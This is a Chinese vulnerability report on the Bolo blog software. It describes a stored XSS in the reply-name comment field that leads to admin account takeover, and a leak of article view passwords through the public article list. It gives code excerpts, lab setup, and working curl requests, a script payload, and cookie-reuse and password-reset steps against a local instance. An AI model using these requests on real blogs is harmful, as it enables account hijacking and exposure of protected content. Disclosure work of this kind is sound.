Bolo 漏洞报告
软件名称:Bolo
开发者或厂商:bolo-blog
代码仓库:https://github.com/bolo-blog/bolo-solo
1. 评论回复人名称存储型 XSS 导致账号接管
| 简要描述: | 未登录的访客可以在评论中注入脚本,脚本在文章页执行并接管访问者的账号。 |
|---|---|
| 影响版本: | 1.7 ~ 2.6.4 |
| 漏洞引入: | bolo-solo commit d9078c95 |
| 前置条件: | 无。 |
漏洞成因
Bolo 的评论接口 /article/comments 允许游客提交评论。请求体中除了评论正文和昵称,还可以携带 commentOriginalCommentId 与 commentOriginalCommentName,分别表示被回复评论的 id 和被回复人的昵称。
CommentMgmtService.addArticleComment 先把请求中的 commentOriginalCommentName 写进评论对象:
// src/main/java/org/b3log/solo/service/CommentMgmtService.java:299-306 commit 0df599ea99
comment.put(Comment.COMMENT_ORIGINAL_COMMENT_ID, "");
comment.put(Comment.COMMENT_ORIGINAL_COMMENT_NAME, "");
comment.put(Comment.COMMENT_NAME, commentName);
comment.put(Comment.COMMENT_URL, commentURL);
comment.put(Comment.COMMENT_CONTENT, commentContent);
comment.put(Comment.COMMENT_ORIGINAL_COMMENT_ID,
requestJSONObject.optString(Comment.COMMENT_ORIGINAL_COMMENT_ID));
comment.put(Comment.COMMENT_ORIGINAL_COMMENT_NAME,
requestJSONObject.optString(Comment.COMMENT_ORIGINAL_COMMENT_NAME));
之后代码才按 id 查询被回复的评论:
// src/main/java/org/b3log/solo/service/CommentMgmtService.java:325-336 commit 0df599ea99
if (StringUtils.isNotBlank(originalCommentId)) {
originalComment = commentRepository.get(originalCommentId);
if (null != originalComment) {
comment.put(Comment.COMMENT_ORIGINAL_COMMENT_ID, originalCommentId);
final String originalCommentName = originalComment.getString(Comment.COMMENT_NAME);
comment.put(Comment.COMMENT_ORIGINAL_COMMENT_NAME, originalCommentName);
ret.put(Comment.COMMENT_ORIGINAL_COMMENT_NAME, originalCommentName);
ret.put(Common.IS_REPLY, true);
} else {
LOGGER.log(Level.WARN, "Not found orginal comment[id={0}] of reply[name={1}, content={2}]",
originalCommentId, commentName, commentContent);
}
}
id 查不到时只记录一条警告,先前写入的 commentOriginalCommentName 仍然保留。
读取评论时,CommentQueryService.getComments 只判断 commentOriginalCommentId 是否为空,不检查对应评论是否存在:
// src/main/java/org/b3log/solo/service/CommentQueryService.java:239-245 commit 0df599ea99
comment.put(Common.IS_REPLY, false);
if (StringUtils.isNotBlank(comment.optString(Comment.COMMENT_ORIGINAL_COMMENT_ID))) {
comment.put(Common.IS_REPLY, true);
}
于是填入一个不存在的 id 并附上昵称,这条评论会被当作回复渲染。皮肤 bolo-nexmoe 的模板把回复人名称拼接进 HTML:
<!-- src/main/webapp/skins/bolo-nexmoe/common-comment.ftl:29-34 commit 0df599ea99 -->
<#if comment.isReply>
@
<a href="${servePath}${article.permalink}#${comment.commentOriginalCommentId}"
onmouseover="page.showComment(this, '${comment.commentOriginalCommentId}', 23);"
onmouseout="page.hideComment('${comment.commentOriginalCommentId}')"
>${comment.commentOriginalCommentName}</a>
</#if>
评论正文经过 Markdowns.clean 清洗,昵称经过 AntiXSS 处理,回复人名称没有对应的过滤。该字段在数据库中的长度为 50(src/main/resources/repository.json:173-176),足以容纳一段短脚本。
会话 cookie 没有 HttpOnly 属性,脚本通过 document.cookie 就能读出它。
复现环境搭建
环境用官方 compose 部署,操作如下:
mkdir bolo && cd bolo
wget https://raw.githubusercontent.com/bolo-blog/bolo-solo/v2.6.4_stable/docker-compose.yaml
mkdir scripts
wget -P scripts https://raw.githubusercontent.com/bolo-blog/bolo-solo/v2.6.4_stable/scripts/1-create-database.sql
docker compose -p bolo-vuln up -d
环境启动后访问 http://localhost:8080/start,把管理员账号设为 admin、密码设为 Admin@12345,完成初始化。
若容器反复重启且日志提示 unable to allocate file descriptor table,在 compose 文件的 bolo 服务下增加 ulimits.nofile 配置后重新启动。
复现过程
首页文章的地址为 /hello-bolo,页面源码中带有文章的 id:
curl -s http://localhost:8080/hello-bolo | grep -o '"oId": "[0-9]*"'
输出为:
"oId": "1794665724180"
向评论接口提交评论,commentOriginalCommentId 填一个不存在的值,commentOriginalCommentName 填一段脚本:
curl -s -o /dev/null -w '%{http_code}\n' -X POST http://localhost:8080/article/comments \
-H 'Content-Type: application/json' \
-d '{"oId":"1794665724180","boloSite":"http://localhost:8080/","boloUser":"attacker","email":"","URI":"http://localhost:8080/","commentContent":"Nice post","commentOriginalCommentId":"1","commentOriginalCommentName":"<script>document.write(document.cookie)</script>"}'
以管理员身份登录后打开该文章(在 http://localhost:8080/start 用 admin/Admin@12345 登录),脚本把 document.cookie 的内容写进了评论区,证实 XSS:

页面中显示的 cookie 为:
solo=b956e66b9b17818b75b680b33bfb1c4967d1cb7471e25c0805061f570148389a0ab3e511c66d47700c39c5dadc211972038c3f57c19d307c2ee7691a175765e53bf4d8faacc0cd726d7659971e38a912
携带该 cookie 请求后台用户列表:
curl -s -H 'Cookie: solo=b956e66b9b17818b75b680b33bfb1c4967d1cb7471e25c0805061f570148389a0ab3e511c66d47700c39c5dadc211972038c3f57c19d307c2ee7691a175765e53bf4d8faacc0cd726d7659971e38a912' http://localhost:8080/console/users/1/100/100
输出为:
{"sc":true,"pagination":{"paginationPageCount":1,"paginationPageNums":[1]},"users":[{"userB3Key":"c1c761ba28cba88ff92d4365f8e230c1","userAvatar":"https://pic.stackoverflow.wiki/uploadImages/117/136/73/84/2020/08/03/19/59/2c12286b-91a0-478e-ba47-edaa21f19476.png","userGitHubId":"000000","oId":"1794665722507","userName":"admin","userRole":"adminRole","userURL":"http://localhost:8080"},{"userB3Key":"0a45c98b7f065e77accc819d08882200","userAvatar":"https://pic.stackoverflow.wiki/uploadImages/114/246/231/87/2020/06/06/02/26/65e10ea4-41e0-4da8-82fa-a00da2770ce2.png","userGitHubId":"000000","oId":"1794665745547","userName":"attacker","userRole":"visitorRole","userURL":"http://localhost:8080/"}]}
用该会话重置管理员密码,userB3Key 字段填入新密码:
curl -s -X PUT http://localhost:8080/console/user/ \
-H 'Cookie: solo=b956e66b9b17818b75b680b33bfb1c4967d1cb7471e25c0805061f570148389a0ab3e511c66d47700c39c5dadc211972038c3f57c19d307c2ee7691a175765e53bf4d8faacc0cd726d7659971e38a912' \
-H 'Content-Type: application/json' \
-d '{"oId":"1794665722507","userName":"admin","userRole":"adminRole","userURL":"http://localhost:8080","userAvatar":"https://pic.stackoverflow.wiki/uploadImages/117/136/73/84/2020/08/03/19/59/2c12286b-91a0-478e-ba47-edaa21f19476.png","userB3Key":"Pwned@2026"}'
输出为:
{"sc":true,"msg":"更新成功"}
在浏览器中用新密码登录后台:

2. 文章访问密码明文泄露
| 简要描述: | 文章列表接口返回访问密码,未登录者据此可以阅读受保护的文章。 |
|---|---|
| 影响版本: | 1.7 ~ 2.6.4 |
| 漏洞引入: | bolo-solo commit d9078c95 |
| 前置条件: | 目标博客中存在设置了访问密码的文章。 |
漏洞成因
/articles 的文章列表由 ArticleProcessor.getArticlesByPage 处理,它构造的请求只包含分页参数、文章状态与更新提示:
// src/main/java/org/b3log/solo/processor/ArticleProcessor.java:455-460 commit 0df599ea99
final JSONObject requestJSONObject = Solos.buildPaginationRequest(pathBuilder.toString());
requestJSONObject.put(Article.ARTICLE_STATUS, Article.ARTICLE_STATUS_C_PUBLISHED);
requestJSONObject.put(Option.ID_C_ENABLE_ARTICLE_UPDATE_HINT,
preference.optBoolean(Option.ID_C_ENABLE_ARTICLE_UPDATE_HINT));
final JSONObject result = articleQueryService.getArticles(requestJSONObject);
ArticleQueryService.getArticles 返回数据库中的文章记录,只移除调用方通过 excludes 指定的字段,而上述请求没有指定:
// src/main/java/org/b3log/solo/service/ArticleQueryService.java:637-638 commit 0df599ea99
JSONArray excludes = requestJSONObject.optJSONArray(Keys.EXCLUDES);
excludes = null == excludes ? new JSONArray() : excludes;
列表渲染前,DataModelService.setArticleExProperties 判断访问者是否需要密码,需要时把 articleContent 换成提示文字:
// src/main/java/org/b3log/solo/service/DataModelService.java:1259-1262 commit 0df599ea99
if (Solos.needViewPwd(context, article)) {
final String content = langPropsService.get("articleContentPwd");
article.put(ARTICLE_CONTENT, content);
}
articleViewPwd 仍然留在文章对象中,随列表响应返回。
复现环境搭建
环境用官方 compose 部署,重建容器后完成初始化:
docker compose -p bolo-vuln down -v
docker compose -p bolo-vuln up -d
环境启动后访问 http://localhost:8080/start,用 admin/Admin@12345 完成初始化。
复现过程
管理员登录后台,新建一篇带访问密码的文章,articleStatus 为 0 表示已发布,articleViewPwd 为 S3cret:
curl -s -c /tmp/bolo-cookies -o /dev/null -X POST http://localhost:8080/oauth/bolo/login \
--data-urlencode username=admin --data-urlencode password='Admin@12345'
curl -s -b /tmp/bolo-cookies -X POST http://localhost:8080/console/article/ \
-H 'Content-Type: application/json' \
-d '{"article":{"articleTitle":"Investor update","articleContent":"REVENUE-FORECAST-2027","articleAbstract":"Restricted","articleAbstractText":"Restricted","articleTags":"internal","articleStatus":0,"articleCommentable":true,"articleViewPwd":"S3cret","articleSignId":"1"}}'
输出为:
{"msg":"添加成功","sc":true,"oId":"1794665921361"}
未登录请求文章列表:
curl -s http://localhost:8080/articles | python3 -m json.tool
输出为:
{
"sc": true,
"rslts": {
"pagination": {
"paginationPageCount": 1,
"paginationPageNums": [
1
]
},
"articles": [
{
"articleCreated": 1794665921469,
"articleCreateTime": 1794665921469,
"articleRandomDouble": 0.8435085017955908,
"articleAuthorId": "1794665911359",
"articleAbstract": "<p>Restricted</p>",
"articleViewPwd": "S3cret",
"articleCreateDate": "Sat Nov 14 22:18:41 CST 2026",
"articleAbstractText": "Restricted",
"articleViewCount": 1,
"articleCommentable": true,
"articleContent": "<p>\u8be5\u6587\u7ae0\u5df2\u7ecf\u52a0\u5bc6\u3002</p>",
"articleUpdateDate": "Sat Nov 14 22:18:41 CST 2026",
"articleCommentCount": 0,
"articleImg1URL": "http://localhost:8080/image/20261114221842343.jpg?imageView2/1/w/1280/h/720/interlace/1/q/100",
"authorThumbnailURL": "https://pic.stackoverflow.wiki/uploadImages/117/136/73/84/2020/08/03/19/59/2c12286b-91a0-478e-ba47-edaa21f19476.png",
"articleTitle": "Investor update",
"articleSignId": "1",
"articleTags": "internal",
"oId": "1794665921361",
"articlePutTop": false,
"hasUpdated": false,
"authorId": "1794665911359",
"articleUpdated": 1794665921469,
"authorName": "admin",
"articleStatus": 0,
"articleUpdateTime": 1794665921469,
"articleCategory": "",
"articlePermalink": "/articles/2026/11/14/1794665921361.html"
},
{
"articleCreated": 1794665912861,
"articleCreateTime": 1794665912861,
"articleRandomDouble": 0.8732745907137656,
"articleAuthorId": "1794665911359",
"articleAbstract": "<p><img src=\"http://localhost:8080/image/20261114221832466.jpg?imageView2/1/w/1280/h/720/interlace/1/q/100\" alt=\"\"></p>\n<p>Bolo \u535a\u5ba2\u7cfb\u7edf\u5df2\u7ecf\u521d\u59cb\u5316\u5b8c\u6bd5\uff0c\u53ef\u5728\u7ba1\u7406\u540e\u53f0 - \u5de5\u5177 - \u504f\u597d\u8bbe\u5b9a\u4e2d\u8c03\u6574\u66f4\u591a\u7ec6\u8282\u8bbe\u7f6e\u3002\u5982\u679c\u9700\u8981\u5bfc\u5165\u5df2\u6709\u535a\u5ba2\u6587\u7ae0\uff0c\u8bf7\u53c2\u8003\u6587\u6863 <a href=\"https://ld246.com/article/1498490209748\" target=\"_blank\">Hexo/Jekyll/Markdown \u6587\u4ef6\u5bfc\u5165</a>\u3002</p>\n<p>Bolo \u662f\u57fa\u4e8e <a href=\"https://github.com/b3log/solo\" target=\"_blank\">Solo</a> \u7684\u4fee\u6539\u7248\uff0c\u4e3b\u6253\u529f\u80fd:</p>\n<ol>\n<li>\n<p>\u79bb\u7ebf</p>\n</li>\n<li>\n<p>\u5206\u7c7b\u4f18\u5316</p>\n</li>\n<li>\n<p>\u6e38\u5ba2\u5316\u8bc4\u8bba</p>\n</li>\n<li>\n<p>\u540c\u6b65\u4e0e\u4e3b\u5206\u652f\u66f4\u65b0</p>\n</li>\n</ol>\n<p>\u6b22\u8fce\u4f60\u7684\u4f53\u9a8c\uff01</p>\n<p>\u8bf7\u5728\u8bbe\u7f6e-\u504f\u597d\u8bbe\u5b9a\u4e2d\u8bbe\u7f6e\u9ed1\u5ba2\u6d3e\u7528\u6237\u540d\u548c B3log Key \u4ee5\u83b7\u5f97\u5b8c\u6574\u4f53\u9a8c\u3002</p>\n<p>\u6700\u540e\uff0c\u5982\u679c\u4f60\u89c9\u5f97 Bolo \u5f88\u8d5e\uff0c\u8bf7\u5230<a href=\"https://github.com/adlered/bolo-solo\" target=\"_blank\">\u9879\u76ee\u4e3b\u9875</a>\u7ed9\u9897\u661f\u9f13\u52b1\u4e00\u4e0b\u2764\ufe0f</p>",
"articleViewPwd": "",
"articleCreateDate": "Sat Nov 14 22:18:32 CST 2026",
"articleAbstractText": "Bolo \u535a\u5ba2\u7cfb\u7edf\u5df2\u7ecf\u521d\u59cb\u5316\u5b8c\u6bd5\uff0c\u53ef\u5728\u7ba1\u7406\u540e\u53f0 - \u5de5\u5177 - \u504f\u597d\u8bbe\u5b9a\u4e2d\u8c03\u6574\u66f4\u591a\u7ec6\u8282\u8bbe\u7f6e\u3002\u5982\u679c\u9700\u8981\u5bfc\u5165\u5df2\u6709\u535a\u5ba2\u6587\u7ae0\uff0c\u8bf7\u53c2\u8003\u6587\u6863 Hexo/Jekyll/Markdown \u6587\u4ef6\u5bfc\u5165\u3002 Bolo \u662f\u57fa\u4e8e Solo \u7684\u4fee\u6539\u7248\uff0c\u4e3b\u6253\u529f\u80fd: \u79bb\u7ebf \u5206\u7c7b\u4f18\u5316 \u6e38\u5ba2\u5316\u8bc4\u8bba \u540c\u6b65\u4e0e\u4e3b\u5206\u652f\u66f4\u65b0 \u6b22\u8fce\u4f60\u7684\u4f53\u9a8c\uff01 \u8bf7\u5728\u8bbe\u7f6e-\u504f\u597d\u8bbe\u5b9a\u4e2d\u8bbe\u7f6e\u9ed1\u5ba2\u6d3e\u7528\u6237\u540d\u548c B3log Key \u4ee5\u83b7\u5f97\u5b8c\u6574\u4f53\u9a8c\u3002 \u6700\u540e\uff0c\u5982\u679c\u4f60\u89c9\u5f97 Bolo \u5f88\u8d5e\uff0c\u8bf7\u5230\u9879\u76ee\u4e3b\u9875\u7ed9\u9897\u661f\u9f13\u52b1\u4e00\u4e0b\u2764\ufe0f",
"articleViewCount": 0,
"articleCommentable": true,
"articleContent": "<p><img src=\"http://localhost:8080/image/20261114221832466.jpg?imageView2/1/w/1280/h/720/interlace/1/q/100\" alt=\"\"></p>\n<p>Bolo \u535a\u5ba2\u7cfb\u7edf\u5df2\u7ecf\u521d\u59cb\u5316\u5b8c\u6bd5\uff0c\u53ef\u5728\u7ba1\u7406\u540e\u53f0 - \u5de5\u5177 - \u504f\u597d\u8bbe\u5b9a\u4e2d\u8c03\u6574\u66f4\u591a\u7ec6\u8282\u8bbe\u7f6e\u3002\u5982\u679c\u9700\u8981\u5bfc\u5165\u5df2\u6709\u535a\u5ba2\u6587\u7ae0\uff0c\u8bf7\u53c2\u8003\u6587\u6863 <a href=\"https://ld246.com/article/1498490209748\" target=\"_blank\">Hexo/Jekyll/Markdown \u6587\u4ef6\u5bfc\u5165</a>\u3002</p>\n<p>Bolo \u662f\u57fa\u4e8e <a href=\"https://github.com/b3log/solo\" target=\"_blank\">Solo</a> \u7684\u4fee\u6539\u7248\uff0c\u4e3b\u6253\u529f\u80fd:</p>\n<ol>\n<li>\n<p>\u79bb\u7ebf</p>\n</li>\n<li>\n<p>\u5206\u7c7b\u4f18\u5316</p>\n</li>\n<li>\n<p>\u6e38\u5ba2\u5316\u8bc4\u8bba</p>\n</li>\n<li>\n<p>\u540c\u6b65\u4e0e\u4e3b\u5206\u652f\u66f4\u65b0</p>\n</li>\n</ol>\n<p>\u6b22\u8fce\u4f60\u7684\u4f53\u9a8c\uff01</p>\n<p>\u8bf7\u5728\u8bbe\u7f6e-\u504f\u597d\u8bbe\u5b9a\u4e2d\u8bbe\u7f6e\u9ed1\u5ba2\u6d3e\u7528\u6237\u540d\u548c B3log Key \u4ee5\u83b7\u5f97\u5b8c\u6574\u4f53\u9a8c\u3002</p>\n<p>\u6700\u540e\uff0c\u5982\u679c\u4f60\u89c9\u5f97 Bolo \u5f88\u8d5e\uff0c\u8bf7\u5230<a href=\"https://github.com/adlered/bolo-solo\" target=\"_blank\">\u9879\u76ee\u4e3b\u9875</a>\u7ed9\u9897\u661f\u9f13\u52b1\u4e00\u4e0b\u2764\ufe0f</p>",
"articleUpdateDate": "Sat Nov 14 22:18:32 CST 2026",
"articleCommentCount": 1,
"articleImg1URL": "http://localhost:8080/image/20261114221832466.jpg?imageView2/1/w/1280/h/720/interlace/1/q/100",
"authorThumbnailURL": "https://pic.stackoverflow.wiki/uploadImages/117/136/73/84/2020/08/03/19/59/2c12286b-91a0-478e-ba47-edaa21f19476.png",
"articleTitle": "\u83e0\u841d Bolo \u535a\u5ba2\u7cfb\u7edf\u5df2\u90e8\u7f72\u6210\u529f\u3002",
"articleSignId": "1",
"articleTags": "Bolo",
"oId": "1794665912890",
"articlePutTop": false,
"hasUpdated": false,
"authorId": "1794665911359",
"articleUpdated": 1794665912861,
"authorName": "admin",
"articleStatus": 0,
"articleUpdateTime": 1794665912861,
"articleCategory": "",
"articlePermalink": "/hello-bolo"
}
]
}
}
响应中该文章的 articleViewPwd 为 S3cret,articleContent 则被替换为提示文字“该文章已经加密”。
浏览器打开该文章的地址,页面要求输入访问密码:

填入 S3cret 后文章正文显示出来:
